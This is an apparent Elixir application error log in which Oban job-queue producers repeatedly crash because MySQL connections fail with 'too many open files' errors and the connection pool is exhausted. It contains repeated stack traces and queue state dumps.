State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:49:06.240360Z], limit: 5, uuid: "9e735abe-f7a6-4f77-a664-c6542a891290", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:06.240366Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.80756>, refresh_timer: #Reference<0.2525715032.1121189889.223795>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:19.102000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:19.903000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:20.229000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:20.486000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:25.208000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:25.682000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:30.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 807ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:49:18.242939Z], limit: 5, uuid: "36f38274-6191-43f5-b055-5559c9408063", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:18.242945Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.81106>, refresh_timer: #Reference<0.2525715032.1099431938.69553>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:49:18.242911Z], limit: 3, uuid: "cce4f1b6-c404-4812-b682-4d4487f910cf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:18.242917Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.81107>, refresh_timer: #Reference<0.2525715032.1099431938.69551>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 863ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:49:18.242057Z], limit: 50, uuid: "85a36f33-c178-49be-8332-e5c1c4c88461", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:18.242062Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.81109>, refresh_timer: #Reference<0.2525715032.1077673987.56675>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:30.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 857ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:49:18.241901Z], limit: 20, uuid: "9df05c41-9357-4dff-85ed-29efd2387ce8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:18.241907Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.223914>, refresh_timer: #Reference<0.2525715032.1121189889.223891>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:30.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:49:18.238691Z], limit: 10, uuid: "db760b4c-bf5b-4be2-b28d-be17c13c7812", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:18.238701Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.81108>, refresh_timer: #Reference<0.2525715032.1077673987.56662>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:30.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:49:18.241011Z], limit: 5, uuid: "47109f9d-a4f0-48b4-a8dc-405318fd9587", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:18.241019Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.223915>, refresh_timer: #Reference<0.2525715032.1077673987.56646>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:34.064000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:34.176000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:35.315000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:35.507000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:37.465000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:37.943000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:39.429000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:42.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1060ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:49:30.245527Z], limit: 5, uuid: "0c7f571a-43aa-4198-a91e-84964c6d79f1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:30.245534Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.69593>, refresh_timer: #Reference<0.2525715032.1068498948.81426>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:49:30.248717Z], limit: 5, uuid: "86b3b3c7-d40f-4154-9b3e-9afbd8610bd4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:30.248722Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.69594>, refresh_timer: #Reference<0.2525715032.1121189889.224066>, dispatch_cooldown: 5, running: %{}}
